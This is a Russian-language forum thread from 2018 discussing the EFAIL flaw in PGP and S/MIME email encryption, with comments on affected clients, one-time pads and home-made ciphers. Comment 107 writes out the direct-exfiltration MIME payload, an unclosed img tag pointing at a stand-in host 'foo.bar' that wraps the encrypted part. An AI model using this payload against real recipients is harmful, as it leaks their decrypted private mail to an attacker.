60. "Критическая уязвимость в системах шифрования email на основе..." +/–

Сообщение от Аноним (-), 14-Май-18, 14:33

Уже нету
https://efail.de/

Ответить | Правка | К родителю #44 | Наверх | Cообщить модератору

61. "Критическая уязвимость в системах шифрования email на основе..." +/–

Сообщение от Andrey Mitrofanov (?), 14-Май-18, 14:37

> Уже нету
> https://efail.de/
Ждём посадок.

Ответить | Правка | Наверх | Cообщить модератору

68. "Критическая уязвимость в системах шифрования email на основе..." –1 +/–

Сообщение от Ураган (?), 14-Май-18, 15:24

На бутыль?

Ответить | Правка | Наверх | Cообщить модератору

41. "Критическая уязвимость в системах шифрования email на основе..." –2 +/–

Сообщение от Аноним (-), 14-Май-18, 12:52

А какое шифрование используется в почте safe-mail.net и tutanota?

Ответить | Правка | Наверх | Cообщить модератору

42. "Критическая уязвимость в системах шифрования email на основе..." –1 +/–

Сообщение от Аноним (-), 14-Май-18, 12:54

Никакое.

Ответить | Правка | Наверх | Cообщить модератору

85. "Критическая уязвимость в системах шифрования email на основе..." +1 +/–

Сообщение от Darth Vader (?), 14-Май-18, 18:03

Use Protonmail, Luke!

Ответить | Правка | К родителю #41 | Наверх | Cообщить модератору

87. "Критическая уязвимость в системах шифрования email на основе..." +/–

Сообщение от Аноним (-), 14-Май-18, 18:10

Они хохлам всё сливали. Не вариант.

Ответить | Правка | Наверх | Cообщить модератору

112. "Критическая уязвимость в системах шифрования email на основе..." +/–

Сообщение от Анонимус2333 (?), 14-Май-18, 21:27

А где про это можно почитать? Ссылкой поделитесь, пожалуйста.

Ответить | Правка | Наверх | Cообщить модератору

93. "Критическая уязвимость в системах шифрования email на основе..." +/–

Сообщение от Аноним (-), 14-Май-18, 19:31

тоже самое что и у протона, вроде - опенпгп на жс. Учитывая что закрытые ключи этих сервисов юзверю не доступны - я бы не считал их чем то сесурным

Ответить | Правка | К родителю #41 | Наверх | Cообщить модератору

54. "Критическая уязвимость в системах шифрования email на основе..." +/–

Сообщение от Аноним (-), 14-Май-18, 13:54

> Судя по всему, проблема связана с тем, что HTML может использоваться как канал для подстановки в письма заранее известных меток (oracle), например, через манипуляции с тегом "img".
Интересно как это отразиться на каком-нибудь Mutt.

Ответить | Правка | Наверх | Cообщить модератору

69. "Критическая уязвимость в системах шифрования email на основе..." +/–

Сообщение от alex53 (ok), 14-Май-18, 16:37

На mutt сам по себе - никак. Проблемы будут только если для написания писем будет использоваться html редактор.

Ответить | Правка | Наверх | Cообщить модератору

119. "Критическая уязвимость в системах шифрования email на основе..." +/–

Сообщение от КО (?), 14-Май-18, 23:21

И даже в этом случае в нормальном клиенте не страшно - ибо его html по умолчанию он в инет не выходит.

Ответить | Правка | Наверх | Cообщить модератору

56. "Критическая уязвимость в системах шифрования email на основе..." +/–

Сообщение от Аноним (-), 14-Май-18, 14:07

Пока вы тут комментите, уже подробности опубликовали:
https://efail.de/

Ответить | Правка | Наверх | Cообщить модератору

71. "Критическая уязвимость в системах шифрования email на основе..." +/–

Сообщение от annual slayer (?), 14-Май-18, 16:41

с логотипом уже, кстати ;)

Ответить | Правка | Наверх | Cообщить модератору

70. "Критическая уязвимость в системах шифрования email на основе..." +/–

Сообщение от Аноним (70), 14-Май-18, 16:38

Ну дык дырявые клиенты, дырявый HTML, а не сами GPG и GPG4win. Ручками вставлять и проверять, ручками. Развели тут панику.

Ответить | Правка | Наверх | Cообщить модератору

77. "Критическая уязвимость в системах шифрования email на основе..." –2 +/–

Сообщение от Аноним (-), 14-Май-18, 17:35

Думаешь в самом GPG нет дыр? Верить в идеальность софта в 2018?

Ответить | Правка | Наверх | Cообщить модератору

95. "Критическая уязвимость в системах шифрования email на основе..." +/–

Сообщение от Аноним (-), 14-Май-18, 19:32

>только писем, переданных в формате HTML
пересылать конфиденциальную инфу в хтмл - ссзб

Ответить | Правка | Наверх | Cообщить модератору

97. "Критическая уязвимость в системах шифрования email на основе..." +/–

Сообщение от Аноним84701 (ok), 14-Май-18, 20:23

>>только писем, переданных в формате HTML
> пересылать конфиденциальную инфу в хтмл - ссзб
Не пересылать в HTML не поможет. Поможет не расшифровывать или же не рендерить (альтернативно: не допускать при этом никаких внешних запросов).
См. вполне доходчивый пример:
https://efail.de/ (Direct Exfiltration)
Кстати, как и ожидалось - Claws и Мutt  (ну и еще несколько менее удобных, второстепенных клиентов) уязвимости не подвержены :)

Ответить | Правка | Наверх | Cообщить модератору

98. "Критическая уязвимость в системах шифрования email на..." +/–

Сообщение от arisu (ok), 14-Май-18, 20:29

поможет чудесный маленький фильтр, который html-мусор выкидывает. вместе со всем письмом.

Ответить | Правка | Наверх | Cообщить модератору

100. "Критическая уязвимость в системах шифрования email на..." +1 +/–

Сообщение от Аноним (-), 14-Май-18, 20:41

> поможет чудесный маленький фильтр, который html-мусор выкидывает. вместе со всем письмом.
Интересно, а в случае HTML не прокатит внаглую скриптом читать содержимое хтмылки и скидывать его в ремотный канал? Так, глядя на это безобразие.
//в общем хорошо что я предпочитаю plain text и когтемыл...

Ответить | Правка | Наверх | Cообщить модератору

101. "Критическая уязвимость в системах шифрования email на..." +/–

Сообщение от arisu (ok), 14-Май-18, 20:55

> Интересно, а в случае HTML не прокатит внаглую скриптом читать содержимое хтмылки
> и скидывать его в ремотный канал? Так, глядя на это безобразие.
зависит от криворукости авторов клиентов. в принципе, все нормальные клиенты должны запрещать такие шутки… но с другой стороны: нормальные люди не пишут клиентов с поддержкой html в письмах.

Ответить | Правка | Наверх | Cообщить модератору

107. "Критическая уязвимость в системах шифрования email на..." +/–

Сообщение от Аноним84701 (ok), 14-Май-18, 21:10

> Интересно, а в случае HTML не прокатит внаглую скриптом читать содержимое хтмылки
> и скидывать его в ремотный канал? Так, глядя на это безобразие.
А смысл?
Принципиально расшифровка и leak делаются вот так:

Content-Type: text/html
<img src="https://foo.bar/
--BOUNDARY--
Content-Type: application/pksc7-mime:
Foo:bar
ENCRYPTED MSG // сюда можно подставить любое содержимое, т.е. из тех же текствоых писем
--BOUNDARY--
Content-Type: text/html
">
--BOUNDARY--

т.е. все достаточно  просто.
А JS все же обычно по умолчанию режется/отключен (вроде бы thunderbird с версии 3, аутлук, гмейл), из-за спама и прочих "радостей".

Ответить | Правка | К родителю #100 | Наверх | Cообщить модератору

99. "Критическая уязвимость в системах шифрования email на основе..." +/–

Сообщение от Аноним (-), 14-Май-18, 20:37

> проблема касается только писем, переданных в формате HTML,
А, ну это еще не так страшно.

Ответить | Правка | Наверх | Cообщить модератору

Архив | Удалить

Рекомендовать для помещения в FAQ | Индекс форумов | Темы | Пред. тема | След. тема

Партнёры:

Хостинг:

Закладки на сайте
Проследить за страницей

Created 1996-2024 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру

1. "Критическая уязвимость в системах шифрования email на основе..."	+/–
Сообщение от Онвоним (?), 14-Май-18, 11:03
Зачем альтернативные каналы и signal? Просто отключить автоматическую расшифровку, и делать это руками.
Ответить \| Правка \| Наверх \| Cообщить модератору


	5. "Критическая уязвимость в системах шифрования email на основе..."	+2 +/–
	Сообщение от Онанимус (?), 14-Май-18, 11:08
	Таки да! Тем более не понятна связь между автоматической расшифровкой и уязвимостью зашифровки.
	Ответить \| Правка \| Наверх \| Cообщить модератору


	10. "Критическая уязвимость в системах шифрования email на основе..."	+/–
	Сообщение от Онвоним (?), 14-Май-18, 11:34
	Я предполагаю, что уязвимость - это сохранение почтовым клиентом исходного незашифрованного сообщения перед отправкой в черновиках. Черновик в исходном виде может передаваться серверу. И если история переписки в черновиках хранятся на почтовом сервере - то можно восстанавливать оригиналы. Клиент может периодически сохранять черновик ещё не отправленного письма. Наблюдал такое, но пока со связкой K-9 (с OpenKeychain). Но то Android. Соответственно, шифруем сообщение, кладём armored-текст в письмо, и расшифровываем в обратном порядке при получении.
	Ответить \| Правка \| Наверх \| Cообщить модератору


	31. "Критическая уязвимость в системах шифрования email на основе..."	+/–
	Сообщение от Онанимус (?), 14-Май-18, 12:08
	> Я предполагаю, что уязвимость - это сохранение почтовым клиентом исходного незашифрованного сообщения перед отправкой в черновиках. IMAP? Но в таком случае, уязвим трафик до IMAP сервера. Дальше то письмо идет шифрованное. А в анонсе говорится о глобальной уязвимости.
	Ответить \| Правка \| Наверх \| Cообщить модератору

2. "Критическая уязвимость в системах шифрования email на основе..."	–10 +/–
Сообщение от лютый охохонюшка (?), 14-Май-18, 11:05
А ведь неломаемое шифрование изобрели ещё при царе Горохе, одноразовые шифр-блокноты называется. В наши времена дешевого стораджа вообще халявка, сгенерил 4ГБ рэндома и хватит на всю жизнь + на аудиоразговоры.
Ответить \| Правка \| Наверх \| Cообщить модератору


	4. "Критическая уязвимость в системах шифрования email на основе..."	+3 +/–
	Сообщение от Кир (?), 14-Май-18, 11:07
	... и наградил всех счастливых потенциальных корреспондентов гигабайтами мусора ...
	Ответить \| Правка \| Наверх \| Cообщить модератору


	6. "Критическая уязвимость в системах шифрования email на основе..."	+13 +/–
	Сообщение от Креативные инноваторы (?), 14-Май-18, 11:08
	повод съездить друг к другу в гости, да
	Ответить \| Правка \| К родителю #2 \| Наверх \| Cообщить модератору


	105. "Критическая уязвимость в системах шифрования email на основе..."	+2 +/–
	Сообщение от angra (ok), 14-Май-18, 21:08
	И как тебе эти блокноты помогут в ситуации, когда уязвимость не в самом механизме методе шифрования или ключе, а в взаимодействии клиентского софта с этим механизмом? Или ты новость не читал?
	Ответить \| Правка \| К родителю #2 \| Наверх \| Cообщить модератору

3. "Критическая уязвимость в системах шифрования email на основе..."	+8 +/–
Сообщение от Креативные инноваторы (?), 14-Май-18, 11:06
Настало время создавать логотип, логотип сам себя не создаст.
Ответить \| Правка \| Наверх \| Cообщить модератору


	11. "Критическая уязвимость в системах шифрования email на основе..."	–2 +/–
	Сообщение от Andrey Mitrofanov (?), 14-Май-18, 11:36
	> Настало время создавать логотип, логотип сам себя не создаст. Дыкыть анонса-то не было ещё. Это слухи-утечки, подогревающие интерес покупателей к. До 15-го заинтересованные микрософты подгонят ребятам денежек и на логотип, и на погоняло креатифное, и на титульный сайт в зоне .com (.cypher? .bug? .info? .app!?? -- где по-взрослому-то? чтоб подороже!). Ща, погодь, всё будет. +++!"простые ошибки в СПО" & "получают имена собственные, эмблемы и пр." http://www.opennet.dev/openforum/vsluhforumID3/105391.html#15
	Ответить \| Правка \| Наверх \| Cообщить модератору


	13. "Критическая уязвимость в системах шифрования email на основе..."	+1 +/–
	Сообщение от Аноним (-), 14-Май-18, 11:37
	по итогам, новость выеденного яйца не стоит
	Ответить \| Правка \| Наверх \| Cообщить модератору


	15. "Критическая уязвимость в системах шифрования email на основе..."	+/–
	Сообщение от Andrey Mitrofanov (?), 14-Май-18, 11:40
	> и на погоняло креатифное, " Проблемам присвоено имя Efail. " Я прочитал наверху, да. //IMNSHO лучше б денег подождали -- чего покреативнее приду ^W купили б.
	Ответить \| Правка \| К родителю #11 \| Наверх \| Cообщить модератору


	18. "Критическая уязвимость в системах шифрования email на основе..."	–1 +/–
	Сообщение от Аноним (-), 14-Май-18, 11:43
	cTLD .apple ещё не занята ... Эппл её хрен отсудит, так как можно сказать, что она для продавцов и культиваторов яблоневых саженцев, но зато они могут её заблочить в гейфонах.
	Ответить \| Правка \| К родителю #11 \| Наверх \| Cообщить модератору


	73. "Критическая уязвимость в системах шифрования email на основе..."	+/–
	Сообщение от Вареник (?), 14-Май-18, 17:11
	И озаботиться рассово-половым составом команды разрабов.
	Ответить \| Правка \| К родителю #3 \| Наверх \| Cообщить модератору

7. "Критическая уязвимость в системах шифрования email на основе..."	+3 +/–
Сообщение от Аноним (-), 14-Май-18, 11:23
https://lists.gnupg.org/pipermail/gnupg-users/2018-May/06031...
Ответить \| Правка \| Наверх \| Cообщить модератору


	32. "Уффффф!"	+1 +/–
	Сообщение от Andrey Mitrofanov (?), 14-Май-18, 12:08
	> https://lists.gnupg.org/pipermail/gnupg-users/2018-May/06031... Акхр... "HTML mails" + "автоматическое [рас]шифровывание". Расходимся, пацаны! --- Сегодня в нашем сикьюритэ циркусе: ?Те, кто меняют безопасность на удобство, не получат ни того ни другого.? ?Удобная "безопасность" небезопасна. Неудобная тоже. Проверенная -- не факт. Проверенная лично -- безопасна, может быть. Проверенная лично, ежедневно и ${нужное-неизвестное вписать!} -- весьма вероятно, но недолго.?
	Ответить \| Правка \| Наверх \| Cообщить модератору


	103. "Уффффф!"	–1 +/–
	Сообщение от Аноним (-), 14-Май-18, 21:03
	>Use authenticated encryption. Кто-то ещё юзает unauthenticated encryption?
	Ответить \| Правка \| Наверх \| Cообщить модератору

8. "Критическая уязвимость в системах шифрования email на основе..."	–10 +/–
Сообщение от Онаним (?), 14-Май-18, 11:27
В очередной раз убеждаюсь: хочешь сделать хорошо - сделай это сам. Систему шифрования для своего бизнеса - изучи вопрос, и пиши сам.
Ответить \| Правка \| Наверх \| Cообщить модератору


	9. "Критическая уязвимость в системах шифрования email на основе..."	+17 +/–
	Сообщение от sabakka (?), 14-Май-18, 11:32
	люди годами не могут сделать, онаним запилит все за пару недель.
	Ответить \| Правка \| Наверх \| Cообщить модератору


	12. "Критическая уязвимость в системах шифрования email на основе..."	+/–
	Сообщение от Аноним (-), 14-Май-18, 11:36
	делается ставка на неуловимого Джо
	Ответить \| Правка \| Наверх \| Cообщить модератору


	16. "Критическая уязвимость в системах шифрования email на основе..."	+15 +/–
	Сообщение от pull request (?), 14-Май-18, 11:42
	Первое правило криптографии - никогда не придумывай свою систему криптографии.
	Ответить \| Правка \| К родителю #8 \| Наверх \| Cообщить модератору


	23. "Критическая уязвимость в системах шифрования email на основе..."	+/–
	Сообщение от Ivan_83 (ok), 14-Май-18, 11:54
	забыл авторство АНБ указать :)
	Ответить \| Правка \| Наверх \| Cообщить модератору


	104. "Критическая уязвимость в системах шифрования email на основе..."	+/–
	Сообщение от Аноним (-), 14-Май-18, 21:05
	> забыл авторство АНБ указать :) Интересно служил ли Брюс Шнайер в АНБ?
	Ответить \| Правка \| Наверх \| Cообщить модератору


	108. "Критическая уязвимость в системах шифрования email на основе..."	+/–
	Сообщение от Аноним (-), 14-Май-18, 21:13
	> Интересно служил ли Брюс Шнайер в АНБ? Вроде бы нет. Но как минимум пару своих же алгоритмов он более не рекомендует, а еще один советует в основном как основу алгоритма хэширования, а не крипто в чистом виде. Но он свои алгоритмы честно оценивает и знает наихучшие атаки, фигли.
	Ответить \| Правка \| Наверх \| Cообщить модератору


	27. "Критическая уязвимость в системах шифрования email на основе..."	+3 +/–
	Сообщение от Аноним (-), 14-Май-18, 11:56
	С этим правилом никакой криптографии бы не было.
	Ответить \| Правка \| К родителю #16 \| Наверх \| Cообщить модератору


	36. "Критическая уязвимость в системах шифрования email на основе..."	+/–
	Сообщение от Andrey Mitrofanov (?), 14-Май-18, 12:33
	>никакой криптографии бы не Никакой фантазии у людей.
	Ответить \| Правка \| Наверх \| Cообщить модератору


	124. "Критическая уязвимость в системах шифрования email на основе..."	–1 +/–
	Сообщение от konst55512 (?), 15-Май-18, 01:31
	Есть фантазии. Самый безопасный метод общения между мной и В.Пупкиным такой: используй собственный вариант гав-но-шифровки, типа: tr/abc/cba/. Это реально работающий метод. Не один бот не расшифрует. А вот если всяким там ЦРУ/АНБ/ФСБ захочется мою переписку расшифровать, они не станут задействоать НИИ и проч., а используют безотказный паяльник. Дешевле и быстрее. Именно поэтому не вижу смысла с создании супер-алгоритмов шифрования.
	Ответить \| Правка \| Наверх \| Cообщить модератору


	125. "Критическая уязвимость в системах шифрования email на..."	+/–
	Сообщение от arisu (ok), 15-Май-18, 01:44
	> типа: tr/abc/cba/. > Это реально работающий метод. Не один бот не расшифрует. лолушки. вот и Профессионалы Криптоанализа пожаловали. эти ваши гуаношифры как раз и ломаются автоматически. и нет, волшебные слова «я знаю про фестеля и сделал свой с-бокс!» тоже не спасут. всё ещё автоматически.
	Ответить \| Правка \| Наверх \| Cообщить модератору


	127. "Критическая уязвимость в системах шифрования email на..."	+/–
	Сообщение от konst55512 (?), 15-Май-18, 03:20
	>> типа: tr/abc/cba/. >> Это реально работающий метод. Не один бот не расшифрует. > лолушки. вот и Профессионалы Криптоанализа пожаловали. эти ваши гуаношифры как раз и > ломаются автоматически. и нет, волшебные слова «я знаю про фестеля и > сделал свой с-бокс!» тоже не спасут. всё ещё автоматически. Вы категоррически не правы (imho). Я говорил о том, что расшифровать tr/abc/bca/ способен только И ТОЛЬКО тот, кто этого очень хочет. А простые боты используют стандартные способы расшифровки (известные уязвимости). А 2-е мое утверждение, которое не подлежит оспору, - это то, что если кому-то очень-очень захочется узнать, что же я написал Василию Пупкину сумеет сделать это гораздо менее затратно, чем догадавшись сделать tr/bca/abc/.
	Ответить \| Правка \| Наверх \| Cообщить модератору


	128. "Критическая уязвимость в системах шифрования email на..."	+1 +/–
	Сообщение от arisu (ok), 15-Май-18, 10:27
	я не знаю, что такое «простые боты», и какое они отношение имеют к шифрованию. впрочем, защищаться от воображаемых атакующих — дело приятное и даже иногда прибыльное.
	Ответить \| Правка \| Наверх \| Cообщить модератору